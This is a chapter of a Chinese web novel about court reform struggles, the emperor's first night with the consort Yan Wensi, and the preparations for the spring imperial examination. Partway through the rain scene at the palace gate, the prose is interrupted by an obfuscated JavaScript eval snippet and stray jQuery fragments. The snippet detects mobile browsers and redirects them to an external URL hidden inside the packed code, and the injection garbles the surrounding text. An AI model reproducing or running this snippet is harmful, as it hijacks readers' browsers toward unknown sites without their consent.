汴京这几日可谓是天下之第一热闹地方。一是小皇子降生，大赦天下；二是春考在即，可谓是三年一次最重要的日子，在百姓心中的地位要高于过年。无论是考的还是不考的，都翘首以待。尤其是一些权贵人家有女儿待嫁的，都巴巴地望着放榜，好捉个状元郎女婿回家去。


    然外头看起来热闹，内里却是不甚太平，甚至可以说是有些混乱。因为改制，许多老臣都一起反对，认为冒进改革会破话国家根基。更有甚者，在朝堂之上便破口大骂，口喊“奸臣当道，毁天灭地”等极端之言。


    一时间群臣瞬间激愤，许多人都登上了陈府的大门拜见未参与改制的陈文川。论权力地位而言，唯有陈文川能与周玦稍加抗衡，于是造成了几乎一边倒的局势。


    即使陈文川多次推脱，声称无权干涉周相的行动，那群老臣依然咬着他不放。还有些倚老卖老的，用辈分、声誉去压，使陈文川更加烦扰。


    然赵砚尚未知晓两人之间的矛盾，只当他们是避嫌，心里还暗暗赞许过陈文川知进退。


    其实两人都顶着不可言说的压力，被迫只能站在对立面，形成不可相容的水火之势。但幸好朝堂上的一些谣言并没有影响到周玦的行动力，民间支持他的百姓不在少数，其正直善良之名广传。


    尤其是公布今年春考的一些新规定后，百姓们更加拥护这个政权，支持变法改制。在某种程度上可以说，百姓的影响力要大大高于那些高门贵族。


    从赵砚的角度去出发，他当然是支持周玦进行变法改制。前朝之鉴，水可载舟亦可覆舟，百姓的拥护对于他而言才是最有力的保护伞。当务之急就是要把那些清贵老臣安抚下来，可这就是矛盾所在，属实难办。


    幸而宫里头也不全都是烦心事。他的中宫嫡子日渐长大，听照顾的嬷嬷说，经常笑，是个活泼的孩子。淑太妃自从得了这个喜讯都很高兴，从太妃的居处直接搬进了祥粹宫，贴身照顾孩子，非常细致。


    赵砚每次去看望皇后和孩子的时候，也能看到自己的母妃，顿觉人生圆满不过如此。若能处理好政务，那就是锦上添花。


    太后听闻官家还是时时前往祥粹宫，其他新晋的嫔妃并未得到召幸，不免有些心急。她召开皇帝，提醒道：


    “官家这几日政务繁忙，但也要腾出时间，给那些新进宫的妃子们呀！否则传出去，还以为官家对嫔妃有意见。”


    赵砚嘴上答应着，心里却不是很在意。


    太后看得出来他的心思，耐着性子道：“中宫有孩子自然是好事，但你不能指望着皇后一个人为你生孩子。子嗣单薄还是天家大忌，须得尽量开枝散叶，否则要着偌大的后宫有何用？”


    “太后，朕知道了，朕会尽早安排的。”


    “那你说，你今天晚上召见谁来侍寝？”太后不再给他考虑的机会，直接逼问道。


    赵砚没想到太后如此心急，其实他连新选进宫的秀女叫什么长什么样都不曾认得清楚，吞吞吐吐地说不出个所以然。


    太后见状，直接从旁提点道：“宴婕妤的父亲是监察司御史，若官家想扭转朝堂的风气，不妨从此处入手。”


    两位都是明眼人，太后此番暗示也是基于对帝王心思的揣度，不过猜的很准。赵砚一听这话脑子千头万绪登时炸开，似有破局之法在不远处等着他。


    “既然是太后所荐，那必然是才貌双全的淑女，朕今日便见识见识。”


    宴文思所居的永乐宫夜幕尚未完全降临时便传来了消息，六宫晓谕，传旨侍寝。苏云韶是个单纯的，听说宴姐姐被传召了，很是替她高兴。


    “宴姐姐，你这是官家的头一份恩宠啊！来日里发达封妃了，可别忘了我这个小姐妹。”


    苏云韶在她耳边絮絮叨叨着，而宴文思却没什么太大的动作，平静地梳妆更衣，回应道：“苏妹妹这话说太早了，指不定是你日后比我发达。”


    宫里头的宫女见自家的主子得势自然面上也有光，干活都变得勤快了起来，还洋溢着笑容，聊着天做事。话里话外不过主子侍寝得到官家的宠爱，整个永乐宫都能跟着得赏之类的话。


    薄薄的木窗挡不住风言风语，宴文思在妆台前自然也听的一清二楚。


    “啪嗒—”一声，精致小巧的檀木梳被摁在妆台上，都准备的差不多了，宴文思便准备着跟嬷嬷去官家的寝宫了。


    沐浴、穿寝易、学规矩……一顿折腾之后，她才歇下来，静静地跪候在帘帐后，等着传召。


    直到夜色已深，赵砚才拖着疲惫的身躯姗姗来迟，而宴文思此时还端端正正地跪在那。隔着一层薄薄的白纱帐，隐约可见身形婉约窈窕的女子穿着素衣低垂着头。


    赵砚一手背在身后，一手掀开帘帐，低头看着她。


    “来替我更衣。”


    宴文思闻言如闻大赦，跪在这里一动不动这么久几乎双腿都要麻了。强撑着力气站起来，还是忍不住踉跄了一下。


    赵砚及时伸手扶住了她。


    “多谢官家。”


    赵砚抓住她的细胳膊，却愣住了一会，良久没有放开。宴文思心里头惶恐，又有些尴尬，这才出言提醒。


    意识到有些不对劲后，赵砚才尴尬地收回手，还咳了两声以掩饰过去。


    方才宴文思抬头之时，因为有些惊讶而眉头舒展，眼神清朗。虽只身着素衣却肌肤胜雪，眉似远山，眼睫扇动，唇色脸颊不点而红，既素雅，又美艳。


    一众新嫔妃中，宴文思确实是美得独一无二，姿容无双，甚至比皇后还要漂亮几分。


    更衣的时候，宴文思的手法还是略显生疏，没有平日里皇后那么得体自然。


    头一次有肢体接触，两个人都不太自在。每次赵砚被折腾得有一点想发火的时候，转头看到那张露着怯生生眼神的脸，一下子又不知从何发火。


    一切准备好后，门外有请命声，听上去像是太后宫里头的常嬷嬷。赵砚没有犹豫，直接让他进来了。


    常嬷嬷端着两杯酒，恭恭敬敬道：“今日是晏婕妤第一次服侍官家，太后特地为你们二人备了酒，以取民间合衾之意。”


    赵砚听了这话却有些不悦，皱眉道：“合衾乃指夫妻，太后此举，有些逾矩了吧？”


    常嬷嬷闻言尴尬地笑了一声，随后接过话道：“官家恕罪，这也是太后她老人家的好意，并没有想那么多。”


    宴文思在他身后，有些紧张地看着他们，和那杯酒。


    她知道，太后此举，意图如何。


    然赵砚似乎是有些无奈，一饮而尽后把杯盏掼在端台上，说：“宴婕妤就不必喝了。”


    常嬷嬷见目的已达成，与床里侧的宴文思对视了一眼，便应下离去了。


    *


    离春考还有三日之时，整个汴京城都弥漫着一股既紧张又兴奋的气氛。今年参加春考的学子格外多，且其中不乏已经有些些许才名之辈。坊中甚至出现了赌局，早早的便开押了，都赌一赌今年的状元探花榜眼是由谁摘得。


    袁子顾本与杨景焕一同宿在同福客栈中，奈何他的父母连夜派了小厮让他回府。本以为有何大事，没想到是请了去年的考官先生来家中授课，要给他狠狠恶补一番。


    何止是袁子顾一家，许多世家子弟此时，要么继续求神拜佛寻找门路，要么找了夫子去家中授课临阵磨枪。


    而在宫中，所有参与考核的官员，此刻正聚在吏部单独开设的一间别屋中，检查着最后的事宜。


    在场的所有的人中，主考官左丞相周玦，吏部从书郎江扶、二品翰林墨书吏宋子真、宗正卿邓子晋、特进礼部侍中祁修平……几乎都是这几年新授官的进士，其中宋子真也曾是一届探花，与周玦也算是同宗同源上来的。


    唯一的女官也不卑不亢地站在其中，甚至做的任务要比其他人都完美，就是司籍司正三品长史戚容。


    这次春考非比寻常，每一个人都是周玦亲自考察后单独面见，并询问是否愿意承担这件事背后的风险。诸位都是刚走入官场的少年郎，十分愿意跟在周相后面做事，革弊就新，好作出一番事业。


    戚容负责的是核查考生名单以及之后的核对结果一事。她早早地完成了学子身份信息的核对，一一查过了文碟，在任务截止前两天便先于他人完成了。之后又去帮忙布置贡院，能干机灵几乎所有人都看在眼里。


    负责贡院布置的吏部从书郎江扶还打趣过她，说此事之后周相一上报戚长史必能再升一级。其实戚容在乎的倒不是那差了一级两级的品阶，而这次参与的春考真的让她认识到了这么多同道之人，也得到了大家的肯定。


    这真的很好。


    “最后三日，众人请皆宿在宫中。我已请示官家，为你们安排了住处，”周玦环视周围一圈的人，正色道：“戚长史单独一间，其他人我们就挤一挤。最后的辛苦了，还请大家体恤，要记住我们的宗旨是：”


    众人回应道：“绝不徇私，绝对公正！”


    这天晚上，宫门即将关闭之时，林琅终于等到了匆匆赶来的周玦。此时夜里风寒，且有一些淅淅沥沥的小雨，他用宽袖掩着头上的风雨，大步朝这里跑来。


    “安排他们的住处，耽误了一会，”一见到林琅，他便放下了袖子，喘着气道：“没有淋着你吧？”


    宫门处的屋檐很大，当然淋不到她。林琅笑着摇了摇头，把手中的东西递过去道：“给你准备了些吃的，怕宫里的东西你吃不惯。多带了些你跟他们分一分，就是有点重。”


    确实是有点重，接到周玦手上的时候还往下坠了一下。


    “你都不知道，那群孩子们闹得很，看到他们嫂子准备的吃的，估计又要争着闹起来了。”


    两人谈笑着，林琅一边听他说，一边抬手用腕边的衣袖为他擦去了额头上尚未滴落的雨珠。外面的雨不大，却一直没停，而且林琅也没带伞。


    周玦不放心她一个人走，就算是有马车，还是怕她从宫门出去的那一段路被雨淋，若是春日里得了风寒是最严重的。便有一搭没一搭地和她聊着，说宫里的事，说他对这次春考的忐忑和憧憬，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753194|168758||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一直等到雨停才肯离开。


    “其实我也一直在担心，若还是出了什么岔子怎么办。”


    原本聊着的都是好的内容，但周玦语气一顿，收回笑容，仰着头叹了口气，说道：“我无法面对他们的期待，也无法承受失去一切的痛苦。”


    说罢他转头苦笑道：“其实我是个很功利的人，对吧？我想成功，太想了。”


    林琅听到他说这些，心里头却高兴了几分。周玦一向是有什么糟心事都窝在心里的人，现在真是好不容易开了口了。不过这也代表着，他的压力真的是要承受不住了。


    “你不是功利，你想成功再正常不过了。”林琅拉起他的手，安慰道：“你在做一件好事，一件正确的事，所以你希望它能成功，我们所有人都希望能成功。千百年后，世人都会歌颂你，位极人臣，仍怀赤子之心。”


    “真的吗？”


    他的眼睫忽闪着，这是从来没有人说过他的话。


    林琅转过身仰头看天空，骄傲地笑道：“当然是真的，骗你干嘛？”


    骗人不打草稿，说谎脸不红心不跳。这技能也是让她练出来了。


    虽然知道是哄人的话，但因为是从林琅口中说出来的，周玦仍然感到十分高兴。


    她不知道千百年后的人们心里怎么想，如何评价。但起码，此时此刻，在林琅的心中，他是很好的。


    正巧此刻，原本连绵不断的雨水停下了，嘀嘀嗒嗒的雨声骤然消失，只剩宫檐上的雨滴缓缓坠落。


    “那，我先走了？”


    “嗯，趁着雨停赶紧回去吧。”


    两人走往相反的方向。林琅临走之时回头看去，周玦寂寥的身影逐渐湮没在沉重如墨的夜色中，而宫门也在此刻缓缓关闭，知道完全吞没了他最后一丝的背影。


    她不知道，宫门关上的那一刻，他也回头了。


    *


    三日后，一年一度的春考


    贡院前排起了长龙，都是等待验查入院的参考学子。大家也不似之前那般活络，一个个都很紧张，心里头暗暗数着还有几个到自己，再回想回想前几天背的书，握着衣角的手心都浸慢了汗。


    负责检阅的邓子晋头一个出现在众人面前，领着一众官吏一个个检查学子们的情况，有无夹带，衣着合规等。


    再进入里头，都进入自己的位子后，是宋子真，祁修平和周玦亲手为众人分发考卷。


    所有学子所见之人，皆穿着他们自己的官服。而在所有人当中，周玦非常好认。


    他是唯一身着紫色官袍之人，腰间一条十三跨金玉带，气度非常。


    待考卷分发完毕后，再过些许时刻，备考期间的像正好燃尽了。邓子晋站在考场中心，中气十足地朗声道：“开考！”


    一语绵长的尾音毕后，场地之内只剩下研墨蘸墨的声音，和偶尔擦出的纸卷声。


    三人轮流值守，在外面领着其他官吏来回巡视。考试为期有三天，这期间所有学子的衣食住行都要在他们自己的隔间内进行。


    祁修平出去值守之时，宋子真便在休息的地方和周玦闲聊着，不知不觉间问起了他以前的事情。


    “周相，我记得您从前和陈相关系最为要好，还听闻当今圣上还是太子之时便一起为他做事，如今为何看你们都无甚交谈？”


    宋子真并无恶意，他初入官场不过两年，许多事情也就是见闻听闻，少年心气可能也总是对朋友之间的事情比较好奇。而他问出这句话，周玦便从中窥见了也许关于他们俩的争议早就在朝堂内传开了，只不过宋子真憋不住心思才问了出来。


    但周玦并不愿意多言其他，只是淡淡地笑着回应道：“许是最近太忙了吧，没有什么空闲和精力了。”


    宋子真听罢点了点头道：“也对，听说陈相也在帮官家查案，你们都是大忙人。”


    而周玦听了这话却有了疑问，接着追问道：“他在查什么案子？”


    “裴大人的案子，近日裴大人都不来上朝，说是病假，而我听说实则是被关进天牢候审了。”


    周玦闻言大惊，差点把一口茶喷出来：“为何？”


    宋子真摊了摊手道：“大人，这我就不清楚了，我也只是听到一些风言风语。”


    周玦放下茶盏，心里疑虑重重，他所报之事尚无任何眉目，裴中轩之前虽然借了赵惜的势揽了一笔财，但赵惜已死，无处可查。苏禅虽提到过，但只是口头的交易，和现成的银子，他之前思考了很久，既无线索也无实证，根本无从查起。


    那陈文川在查什么？甚至已经把兵部侍郎押入了天牢，那便是查到东西了。


    宋子真看他脸色不对劲，想要追问。周玦正胡乱想着，祁修平忽然从外面进来，喊宋子真去接着巡逻。


    “你们在聊什么？”宋子真走后，他卸下一时的担子放松了下来，但看刚才宋子真似乎有话要问周玦，便接着问道。


    而周玦只是摇了摇头，喝了口茶后道：“没什么。”


    但他隐隐感觉到，山雨欲来。